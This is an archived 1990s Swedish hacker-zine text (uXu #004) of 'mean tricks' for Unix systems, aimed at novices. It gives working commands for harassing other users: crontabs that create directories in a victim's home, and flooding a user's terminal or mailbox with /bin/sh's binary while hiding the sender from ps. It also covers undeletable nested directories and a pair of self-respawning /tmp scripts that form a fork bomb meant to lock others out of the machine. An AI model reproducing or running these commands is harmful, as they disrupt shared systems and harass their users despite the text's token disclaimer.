home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / uxu / uxu_s004.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  6.1 KB  |  175 lines

  1.  
  2.                                 ###     ###
  3.                                  ###   ###
  4.                       ###   ####  ### ###  ###   ####
  5.                       ###    ###   #####   ###    ###
  6.                       ###    ###    ###    ###    ###
  7.                       ###    ###   #####   ###    ###
  8.                       ##########  ### ###  ##########
  9.                                  ###   ###
  10.                                 ###     ###
  11.  
  12.                          Underground eXperts United
  13.  
  14.                                 Presenterar...
  15.  
  16.                           Intressant Svenskt Stoff
  17.  
  18.                    [#004- Elaka och Roliga Trix i Unix ]
  19.     _____________________________________________________________________
  20.  
  21.  
  22.  
  23.  
  24.                     ----------------------------------
  25.                        Elaka och Roliga Trix i Unix
  26.                     ----------------------------------
  27.  
  28.  
  29. Den här texten är enbart till för nöjets skull, och jag uppmanar ingen att
  30. använda några av de trix som finns beskrivna, men visst kan det vara skoj
  31. med ett aprilskämt då och då? :-)
  32.  
  33. Obs! Texten är menad till personer som inte är så hemma med UNIX, men ändå
  34. skulle vilja lära sig några roliga trix att ta till ibland.
  35.  
  36. OK. För att börja med några simpla saker som har med crontab'en att göra..
  37.  
  38. (För er som inte ens vet vad en crontab är, men ändå är i desperat behov
  39. av att skaffa en, skriv ett brev till mig på te.x The Stash så ska jag
  40. förklara vad det är. Om du inte vill skriva ett brev till mig kan du ju
  41. alltid ta och slå upp crontab i första bästa UNIX-Manual.)
  42.  
  43. Om ni på jobbet/skolan te.x kör på en Sparc och har möjlighet att spela upp
  44. en sampling eller liknande, gör en crontab som spelar upp samplingen te.x 
  45. var 10'nde minut eller liknande. Alltid irriterande för den som sitter 
  46. vid datorn. Lämplig sampling kan te.x vara ett hundskall.
  47.  
  48. Om du på nåt sätt lyckats få chansen att använda en användare som du inte 
  49. alls tycker om eller vill spela ett spratt och som inte är så bekant med 
  50. UNIX, gör en crontab åt honom som endast gör ett directory i hans home
  51. te.x var 10'nde minut. Jag kan garantera att det kommer att bli jobbigt för
  52. honom/henne att radera alla diretorys vid varje inloggning..
  53.  
  54. ---
  55.  
  56. Om du vill störa user'n kalle så kan du skriva in följande rad:
  57.  
  58. $write kalle </bin/sh
  59.  
  60. Kalle kommer då att se en massa skräp på sin skärm.
  61. Om du vill skydda dig från sådana saker kan du skriva:
  62.  
  63. $mesg n
  64.  
  65. .. vilket dock har den lilla nackdelen att du inte heller kan skriva nåt
  66.    heller, utan att göra en mesg y igen ...
  67.  
  68. Om kalle's tty-fil är skrivbar kan du helt enkelt skriva in följande:
  69.  
  70. $cat /bin/sh >/dev/kalles_tty
  71.  
  72. Om du inte vill att kalle ska se att det är du som skickar filen genom ps
  73. kommandot kan du skriva:
  74.  
  75. $cat </bin/sh >/dev/kalles_tty
  76.  
  77. (Då visas bara cat på ps-listan)
  78.  
  79. En variant på det temat är att skriva ett brev till kalle, innehållande 
  80. /bin/sh. Detta kan ordnas genom att skriva följande:
  81.  
  82. $mail -sEtt_subjekt kalle </bin/sh
  83.  
  84. Om du vill undvika att få en shell i mailet kan du kolla längden på din 
  85. mail-fil, och eventuellt cat'a den och se vad den innehåller. Detta 
  86. eftersom erfarenheter säger att det är lättare att avbryta en cat'ning än 
  87. i mail-programmet.
  88.  
  89. ---
  90.  
  91. En annan simpel liten sak är att göra en fil som börjar med tecknet '-'
  92. rm och mv kommer då att ta filnamnet som options...
  93. Detta kan göras genom att skriva in följande rad:
  94.  
  95. $cat /tmp/din_text >-Haha..
  96.  
  97. Filen kan dock raderas genom att skriva:
  98.  
  99. $rm ./-Haha..
  100.  
  101. .. men det kan du ju överlåta åt den utsatte att lista ut :) ..
  102.  
  103. ---
  104.  
  105. Om du vill vara steget elakare kan du (om du får skriva till ngn annans home)
  106. skapa directorys unde varandra med låååååånga namn.
  107. (Risken finns dock att shellen krashar pga att filnamnet blir för långt :)
  108.  
  109. När sedan stackars kalle, eller vem du nu har valt, ska radera alla de fina 
  110. directorys som du har gjort kommer ngt i denna vägen att inträffa:
  111.  
  112. $rm -r ditt_fina_directory_som_har_ett_väldigt_långt_namn
  113. rm: filename too long:
  114.  
  115. ditt_fina_directory_som_har_ett_väldigt_långt_namn/ditt_fina_directory
  116. _som_har_ett_väldigt_långt_namn/ditt_fina_directory_som_har_ett_väldigt_lå
  117. ngt_namn/ditt_fina_directory_som_har_ett_väldigt_långt_namn/ditt_fina_dire
  118. ctory_som_har_ett_väldigt_långt_namn/ditt_fina_directory_som_har_ett_väldig
  119. ditt_fina_directory_som_har_ett_väldigt_långt_namn/t_långt_namn/ditt_fina_
  120. directory_som_har_ett_väldigt_långt_namn/ditt_fina_directory_som_har_ett_v
  121. äldigt_långt_namn/ditt_fina_directory_som_har_ett_väldigt_långt_namn
  122.  
  123. $
  124.  
  125. Det som inträffar är helt enkelt att rm's buffer inte rymmer pathen till
  126. directoryt, och därför heller ej kan radera det...
  127. För att ta bort denna typen av directorys måste man först cd'a sig en bit
  128. ner och sedan radera 'nerifrån och upp'
  129.  
  130. ---
  131.  
  132. Om du vill göra dator'n lite svåranvändlig, skriv då in följande program:
  133.  
  134. Namn: /tmp/prog1
  135.  
  136. ----START----START----START----START----START----START----START----
  137.  
  138. /tmp/prog2 &
  139. ps -alx >/dev/null &
  140. /tmp/prog1 
  141.  
  142. ----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT-----
  143.  
  144. Namn: /tmp/prog2
  145.  
  146. ----START----START----START----START----START----START----START----
  147.  
  148. /tmp/prog1 &
  149. ps -alx >/dev/null &
  150. /tmp/prog2 
  151.  
  152. ----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT-----
  153.  
  154.  
  155. Skriv sedan in följande:
  156.  
  157. $chmod 777 /tmp/prog1
  158. $chmod 777 /tmp/prog2
  159. $/tmp/prog1 &
  160.  
  161.  
  162. OK.. Du har nu nått slutet av denna "eminanta" text, som inte gav så mycket.
  163. Kom bara ihåg att inte använda någon av dessa små saker, om du nu inte har
  164. managern's tillstånd. Starta speciellt inte de sista programmen, eftersom det 
  165. kommer att försvåra för andra att logga in, och försvåra för de som redan är
  166. påloggade att göra någonting...
  167.  
  168. I fortsättningen kanske jag skriver nåt om hur man 'ökar sin access' på UNIX.
  169. Visst vet jag att det finns massor av texter med det temat, men hur många av
  170. dem är på svenska?
  171.  
  172.  ______________________________________________________________________________
  173.  uXu                             Av Rubicon                                 uXu
  174.  ______________________________________________________________________________
  175.